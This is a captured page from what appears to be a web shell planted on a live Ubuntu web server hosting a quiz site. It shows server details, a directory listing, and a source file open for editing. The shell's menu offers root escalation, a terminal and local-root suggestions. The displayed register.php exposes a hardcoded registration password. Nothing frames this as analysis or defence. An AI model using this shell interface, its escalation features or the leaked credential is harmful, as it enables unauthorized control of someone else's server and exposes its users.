Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.217.105
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
quiz /
auth /
Delete
Unzip
Name
Size
Permission
Date
Action
views
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
database.php
375
B
-rwxr-xr-x
2024-08-27 23:20
functions.php
2.01
KB
-rwxr-xr-x
2024-08-27 23:20
functions2.php
420
B
-rwxr-xr-x
2024-08-27 23:20
login.php
5.12
KB
-rwxr-xr-x
2024-08-29 23:28
logout.php
259
B
-rwxr-xr-x
2024-08-28 00:17
register.php
1.89
KB
-rwxr-xr-x
2024-08-28 00:17
Save
Rename
<?php session_start(); require_once '/var/www/html/quiz/auth/database.php'; require_once '/var/www/html/quiz/auth/functions.php'; $pdo = getPdo(); $datas = [ 'username' => '', 'password' => '', 'password_confirmation' => '', 'user_register_passwd' => '' ]; $request = filter_input_array(INPUT_POST); $datas = $request; $errors = validation($datas); if (!empty($errors)) { exit('<h1>正しく入力してください。</h1>' . '<p>UserName: ' . $errors['username'] . '</p><p>Password: ' . $errors['password'] . '</p><p>Password Confirmation: ' . $errors['password_confirmation'] . '</p>'); } if ($request['password'] != $request['password_confirmation']) { exit('<h1>入力されたパスワードと確認用パスワードが一致しません。正しく入力してください。</h1>' . '<p>UserName: ' . $errors['username'] . '</p><p>Password: ' . $errors['password'] . '</p><p>Password Confirmation: ' . $errors['password_confirmation'] . '</p>'); } //データベースの中に同一ユーザー名が存在していないか確認 $user_name = $request['username']; $sql = "SELECT id FROM quiz.users WHERE name = :name"; $stmt = $pdo->prepare($sql); $stmt->bindValue('name', $user_name, PDO::PARAM_STR); $stmt->execute(); if ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { exit('このユーザーネームはほかの人に使われてしまっています。'); } if ($request['user_register_passwd'] != 'Kg8LcBX3') { exit('登録パスワードが違います。'); } // テーブルに登録するパスワードをハッシュ化 $hashedPassword = password_hash($request['password'], PASSWORD_BCRYPT); $sql = 'INSERT INTO users (name, passwd) VALUES (:name, :password);'; $stmt = $pdo->prepare($sql); $stmt->bindValue(':name', $user_name, \PDO::PARAM_STR); $stmt->bindValue(':password', $hashedPassword, \PDO::PARAM_STR); $stmt->execute(); header('Location: /auth/login.php') ?>